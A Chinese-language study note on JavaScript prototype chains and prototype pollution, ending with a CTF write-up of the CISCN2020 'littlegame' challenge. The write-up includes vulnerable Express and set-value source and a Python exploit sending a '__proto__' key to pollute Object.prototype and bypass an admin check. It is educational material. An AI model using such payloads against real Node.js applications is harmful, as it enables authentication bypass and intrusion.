学点新东西,JavaScript独有的安全问题,JavaScript原型链污染,记笔记

原型链

搬张图,转自:https://www.zhihu.com/question/34183746

JavaScript 只有一种结构:对象。每个实例对象( object )都有一个私有属性(称之为 __proto__ )指向它的构造函数的原型对象(prototype )。该原型对象也有一个自己的原型对象( __proto__ ) ,层层向上直到一个对象的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。

  • 原型:原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承
  • 原型链:原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。

__proto__

每个对象都有 __proto__ 属性,指向了创建该对象的构造函数的原型。其实这个属性指向了 [[prototype]],但是 [[prototype]] 是内部属性,我们并不能访问到,所以使用 __proto__ 来访问。

prototype

每个函数都有 prototype 属性,除了 Function.prototype.bind(),该属性指向原型。所有的类对象在实例化的时候将会拥有prototype中的属性和方法

遵循ECMAScript标准,someObject.[[Prototype]] 符号是用于指向 someObject 的原型。从 ECMAScript 6 开始,[[Prototype]] 可以通过 Object.getPrototypeOf()Object.setPrototypeOf() 访问器来访问。这个等同于 JavaScript 的非标准但许多浏览器实现的属性 __proto__

但它不应该与构造函数 funcprototype 属性相混淆。被构造函数创建的实例对象的 [[Prototype]] 指向 funcprototype 属性。Object.prototype 属性表示 Object 的原型对象。

JavaScript原型链继承

// 让我们从一个函数里创建一个对象o,它自身拥有属性a和b的:
let f = function () {
   this.a = 1;
   this.b = 2;
}
/* 这么写也一样
function f() {
  this.a = 1;
  this.b = 2;
}
*/
let o = new f(); // {a: 1, b: 2}

// 在f函数的原型上定义属性
f.prototype.b = 3;
f.prototype.c = 4;

// 不要在 f 函数的原型上直接定义 f.prototype = {b:3,c:4};这样会直接打破原型链
// o.[[Prototype]] 有属性 b 和 c
//  (其实就是 o.__proto__ 或者 o.constructor.prototype)
// o.[[Prototype]].[[Prototype]] 是 Object.prototype.
// 最后o.[[Prototype]].[[Prototype]].[[Prototype]]是null
// 这就是原型链的末尾,即 null,
// 根据定义,null 就是没有 [[Prototype]]。

// 综上,整个原型链如下:

// {a:1, b:2} ---> {b:3, c:4} ---> Object.prototype---> null

console.log(o.a); // 1
// a是o的自身属性吗?是的,该属性的值为 1

console.log(o.b); // 2
// b是o的自身属性吗?是的,该属性的值为 2
// 原型上也有一个'b'属性,但是它不会被访问到。
// 这种情况被称为"属性遮蔽 (property shadowing)"

console.log(o.c); // 4
// c是o的自身属性吗?不是,那看看它的原型上有没有
// c是o.[[Prototype]]的属性吗?是的,该属性的值为 4

console.log(o.d); // undefined
// d 是 o 的自身属性吗?不是,那看看它的原型上有没有
// d 是 o.[[Prototype]] 的属性吗?不是,那看看它的原型上有没有
// o.[[Prototype]].[[Prototype]] 为 null,停止搜索
// 找不到 d 属性,返回 undefined

调用对象属性时, 会查找属性,如果本身没有,则会去__proto__中查找,也就是构造函数的显式原型中查找,如果构造函数中也没有该属性,因为构造函数也是对象,也有__proto__,那么会去__proto__的显式原型中查找,一直到null

原型链污染

这里采用P:cow:的例子来简单分析一下

// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)

根据结果我们可以看到,zoo.bar打印出来的是2,foo是一个object实例,我们令foo.__proto__.bar = 2所以实际上是修改了Object这个类,增加了一个属性bar值为2,然后我们有创建了一个object类zoo,则zoo对象自然有一个bar属性

在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

利用手段

  1. 常发生在merge 等对象递归合并操作
  2. 对象克隆
  3. 路径查找属性然后修改属性的时候
function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)  // 1,2

o3 = {}
console.log(o3.b)  // 2

这里为什么要用JSON.parse而不直接使用let o2 = {a: 1, "__proto__": {b: 2}}

如果不使用JSON.parse,则原型链并不会被污染,如下:

因为我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,拿到的是[a, b]__proto__并不是一个key,自然也不会修改Object的原型。

栗子

CISCN2020 littlegame

2020年的国赛题,当时保存了一份题目源码,于是这里拿出来复现一下

index.js

var express = require('express');
const setFn = require('set-value');
var router = express.Router();

const COMMODITY = {
    "sword": {"Gold": "20", "Firepower": "50"},
    // Times have changed
    "gun": {"Gold": "100", "Firepower": "200"}
}
const MOBS = {
    "Lv1": {"Firepower": "1", "Bounty": "1"},
    "Lv2": {"Firepower": "5", "Bounty": "10"},
    "Lv3": {"Firepower": "10", "Bounty": "15"},
    "Lv4": {"Firepower": "20", "Bounty": "30"},
    "Lv5": {"Firepower": "50", "Bounty": "65"},
    "Lv6": {"Firepower": "80", "Bounty": "100"}
}
const BOSS = {
    // Times have not changed
    "Firepower": "201"
}
const Admin = {
    "password1":process.env.p1,
    "password2":process.env.p2,
    "password3":process.env.p3
}
router.post('/BuyWeapon', function (req, res, next) {
    // not implement
    res.send("BOOS has said 'Times have not changed'!");
});
router.post('/EarnBounty', function (req, res, next) {
    // not implement
    res.send("BOOS has said 'Times have not changed'!");
});
router.post('/ChallengeBOSS', function (req, res, next) {
    // not implement
    res.send("BOOS has said 'Times have not changed'!");
});
router.post("/DeveloperControlPanel", function (req, res, next) {
    // not implement
    if (req.body.key === undefined || req.body.password === undefined){
        res.send("What's your problem?");
    }else {
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag);
        }else {
            res.send("Wrong password!Are you Admin?");
        }
    }

});
router.get('/SpawnPoint', function (req, res, next) {
    req.session.knight = {
        "HP": 1000,
        "Gold": 10,
        "Firepower": 10
    }
    res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
    // Why not ask witch for help?
    if(req.session.knight === undefined){
        res.redirect('/SpawnPoint');
    }else{
        if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
            res.send("What's your problem?");
        }else {
            let key = req.body.NewAttributeKey.toString();
            let value = req.body.NewAttributeValue.toString();
            setFn(req.session.knight, key, value);
            res.send("Let's have a check!");
        }
    }
});

module.exports = router;

审计代码,flag在环境变量中,需要访问DeveloperControlPanel这个路由,并且需要Admin[key] === password,简单来说我们需要知道p1、p2、p3中的任意一个密码即可拿到flag

根据提示看到Privilege路由,这里访问时knight这个session没定义,则重定向到SpawnPoint创建一个,随后再访问的时候需要携带NewAttributeKeyNewAttributeValue两个参数,来进行setFn操作,可以看到setFn在头部定义const setFn = require('set-value');

  • set-value : Set nested properties on an object using dot notation. / 使用点表示法在对象上设置嵌套属性。

    const set = require('set-value');
    
    const obj = {};
    set(obj, 'a.b.c', 'd');
    
    console.log(obj);
    //=> { a: { b: { c: 'd' } } }

跟进到这个包的源代码

'use strict';

const isPlain = require('is-plain-object');

function set(target, path, value, options) {
  if (!isObject(target)) {
    return target;
  }

  let opts = options || {};
  const isArray = Array.isArray(path);
  if (!isArray && typeof path !== 'string') {
    return target;
  }

  let merge = opts.merge;
  if (merge && typeof merge !== 'function') {
    merge = Object.assign;
  }

  const keys = isArray ? path : split(path, opts);
  const len = keys.length;
  const orig = target;

  if (!options && keys.length === 1) {
    result(target, keys[0], value, merge);
    return target;
  }

  for (let i = 0; i < len; i++) {
    let prop = keys[i];

    if (!isObject(target[prop])) {
      target[prop] = {};
    }

    if (i === len - 1) {
      result(target, prop, value, merge);
      break;
    }

    target = target[prop];
  }

  return orig;
}

function result(target, path, value, merge) {
  if (merge && isPlain(target[path]) && isPlain(value)) {
    target[path] = merge({}, target[path], value);
  } else {
    target[path] = value;
  }
}

构造NewAttributeKey__proto__.extraderNewAttributeValueextrader

path被拆分成['__proto__','extrader'],第一次的for循环,将target = target[prop],此时的prop就是__proto__,经过一次循环后target就为req.session.knight.__proto__了,随后i === len - 1判断为最后一个值,进入result

主要看到result这个方法,会将value赋值给target[path],存在赋值操作,便出现了原型链污染

传入result函数的targetreq.session.knight.__proto__req.session.knight的原型是Object,即Object.prototype,我们就可以在Object这个类中定义变量req.session.knight.__proto__[path] = value,即Object.prototype[path] = value,键为path,值为value,value和path我们都可控

Exp:

import requests

session = requests.session()
url = 'http://127.0.0.1:3000/'

data1 = {
    "NewAttributeKey" : "__proto__.extrader",
    "NewAttributeValue" : "extrader"
}

data2 = {
    "key" : "extrader",
    "password" : "extrader"
}

session.get(url+'SpawnPoint')
session.post(url+'Privilege', data=data1).text
print(session.post(url+'DeveloperControlPanel', data=data2).text)

参考